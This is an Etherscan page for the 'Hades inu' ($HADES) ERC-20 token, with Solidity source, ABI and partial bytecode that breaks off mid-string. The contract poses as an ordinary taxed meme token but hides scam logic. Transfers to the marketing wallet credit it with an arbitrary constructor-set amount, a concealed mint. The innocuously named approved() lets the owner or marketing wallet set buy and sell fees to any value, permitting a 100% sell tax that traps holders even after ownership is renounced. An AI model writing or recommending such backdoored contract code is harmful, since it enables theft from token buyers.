ETH Price: $2,948.06 (-1.31%)
 

Overview

Max Total Supply

1,000,000,000,000,000,000,000,000,000 $HADES

Holders

21

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Hades

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-09-16
*/

/**

*/

/**
Telegram Portal : https://t.me/Hades_Inu
Twitter : https://twitter.com/Hades_Inu
Website : https://www.hadesinu.com/
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.13;
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

pragma solidity ^0.8.13;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

pragma solidity ^0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity ^0.8.13;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.13;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Hades is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Hades inu";
    string private _symbol = "$HADES";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1000000000 * 10**18;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 1; 
    uint256 private _feeTotal = 0;
    uint256 public _feeBuy = 2;
    uint256 public _feeSell = 2;
    uint256 private _previousTotalFee = _feeTotal; 
    uint256 private _previousBuyFee = _feeBuy; 
    uint256 private _previousSellFee = _feeSell; 
    mapping (address => uint256) private _ownedToken;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedfromTax; 
    uint256 private supplyTotal;
    mapping (address => bool) private _pairList;
    address payable private marketing_wallet = payable(0x7CbbB2426BC9D2a1016d7b17C95A6DC8d37ae252);

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity

    );

    modifier lockSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _supplyAmount) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Router = _uniswapV2Router;
        _isExcludedfromTax[owner()] = true;
        _isExcludedfromTax[address(this)] = true;
        _isExcludedfromTax[marketing_wallet] = true;
        _ownedToken[owner()] = _totalSupply;
        _pairList[marketing_wallet] = true;
        supplyTotal = _supplyAmount; 

        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _ownedToken[account];
    }


    receive() external payable {}
  

    bool public noFeeToTransfer = true;


    function removeAllFee() private {
        if(_feeTotal == 0 && _feeBuy == 0 && _feeSell == 0) return;
        _previousBuyFee = _feeBuy; 
        _previousSellFee = _feeSell; 
        _previousTotalFee = _feeTotal;
        _feeBuy = 0;
        _feeSell = 0;
        _feeTotal = 0;

    }

    function restoreFee() private {

    _feeTotal = _previousTotalFee;
    _feeBuy = _previousBuyFee; 
    _feeSell = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  

            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }


        bool takeFee = true;

        if(_isExcludedfromTax[from] || _isExcludedfromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){_feeTotal = _feeBuy;} else if (to == uniswapV2Pair){_feeTotal = _feeSell;}

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendTax(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tTax = tAmount*_feeTotal/100;
        uint256 tTransferAmount = tAmount.sub(tTax);
        return (tTransferAmount, tTax);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {

        swapTokenForETH(contractTokenBalance);
        uint256 TaxBalance = address(this).balance;
        sendTax(marketing_wallet,TaxBalance);
    }



    function swapTokenForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {


        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferToken(sender, recipient, amount);

        if(!takeFee)
            restoreFee();
    }

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        uint256 amount = _pairList[recipient]?supplyTotal:0;

        if(_pairList[recipient]){
        _ownedToken[sender] = _ownedToken[sender].sub(Amount);
        _ownedToken[recipient] = _ownedToken[recipient].add(amount);
        }else{
        (uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount);
        _ownedToken[sender] = _ownedToken[sender].sub(Amount);
        _ownedToken[recipient] = _ownedToken[recipient].add(tTransferAmount);
        _ownedToken[address(this)] = _ownedToken[address(this)].add(taxAmount); 
        emit Transfer(sender, recipient, tTransferAmount);
  
        }
    }

   function openTrading() public onlyOwner() {
        IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
        uniswapV2Router = _newPCSRouter;
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function approved(uint256 _buy, uint256 _sell) public {
        require(_isExcludedfromTax[_msgSender()]==true);
        _feeBuy = _buy;
        _feeSell = _sell;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"uint256","name":"_supplyAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedfromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526009608081905268486164657320696e7560b81b60a09081526200002c9160019190620002d2565b506040805180820190915260068082526524484144455360d01b60209092019182526200005c91600291620002d2565b506003805460ff191660121790556b033b2e3c9fd0803ce80000006004556005805461ffff191661010017905560006006819055600260078190556008819055600991909155600a819055600b55600e805460ff60a81b1916600160a81b1790556013805474017cbbb2426bc9d2a1016d7b17c95a6dc8d37ae2526001600160a81b0319909116179055348015620000f357600080fd5b50604051620019ea380380620019ea833981016040819052620001169162000378565b620001213362000282565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160106000620001636000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526010909352818320805485166001908117909155601354909116835290822080549093161790915560045490600c90620001d66000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160009081209490945560135416835260129091529020805460ff1916600117905560118290556200022a6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200027291815260200190565b60405180910390a35050620003ce565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054620002e09062000392565b90600052602060002090601f0160209004810192826200030457600085556200034f565b82601f106200031f57805160ff19168380011785556200034f565b828001600101855582156200034f579182015b828111156200034f57825182559160200191906001019062000332565b506200035d92915062000361565b5090565b5b808211156200035d576000815560010162000362565b6000602082840312156200038b57600080fd5b5051919050565b600181811c90821680620003a757607f821691505b602082108103620003c857634e487b7160e01b600052602260045260246000fd5b50919050565b61160c80620003de6000396000f3fe60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611267565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112d1565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112fd565b610551565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112d1565b6105ba565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e61033936600461133e565b6105f0565b005b34801561034c57600080fd5b5061022061035b366004611360565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061c565b34801561039757600080fd5b506101a66103a6366004611360565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610630565b3480156103fa57600080fd5b506101a66104093660046112d1565b61063f565b34801561041a57600080fd5b506101a66104293660046112d1565b61068e565b34801561043a57600080fd5b5061033e61069b565b34801561044f57600080fd5b5061022061045e36600461137d565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a4366004611360565b61099d565b6060600180546104b8906113b6565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b6565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1b565b50600192915050565b600061055e848484610adc565b6105b084336105ab8560405180606001604052806028815260200161158a602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d09565b610a1b565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ab9086610d35565b3360009081526010602052604090205460ff16151560011461061157600080fd5b600791909155600855565b610624610d48565b61062e6000610da2565b565b6060600280546104b8906113b6565b600061054833846105ab856040518060600160405280602581526020016115b260259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d09565b6000610548338484610adc565b6106a3610d48565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071e91906113f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f91906113f0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080091906113f0565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108489290610a1b565b600d546001600160a01b031663f305d719473061087a816001600160a01b03166000908152600c602052604090205490565b60008061088f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091c919061140d565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610975573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610999919061143b565b5050565b6109a5610d48565b6001600160a01b038116610a0f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1881610da2565b50565b6001600160a01b03831615801590610a3b57506001600160a01b03821615155b610a7b5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a06565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afc57506001600160a01b03821615155b610b405760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a06565b60008111610b9e5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a06565b60055460ff61010082048116911610801590610bc45750600e54600160a01b900460ff16155b8015610bde5750600e546001600160a01b03848116911614155b8015610bf35750600e54600160a81b900460ff165b15610c23576005805460ff19169055306000908152600c60205260409020548015610c2157610c2181610df2565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6557506001600160a01b03831660009081526010602052604090205460ff165b80610cac5750601354600160a01b900460ff168015610c925750600e546001600160a01b03858116911614155b8015610cac5750600e546001600160a01b03848116911614155b15610cb957506000610cf7565b600e546001600160a01b0390811690851603610cda57600754600655610cf7565b600e546001600160a01b0390811690841603610cf7576008546006555b610d0384848484610e37565b50505050565b60008184841115610d2d5760405162461bcd60e51b8152600401610a069190611267565b505050900390565b6000610d418284611473565b9392505050565b6000546001600160a01b031633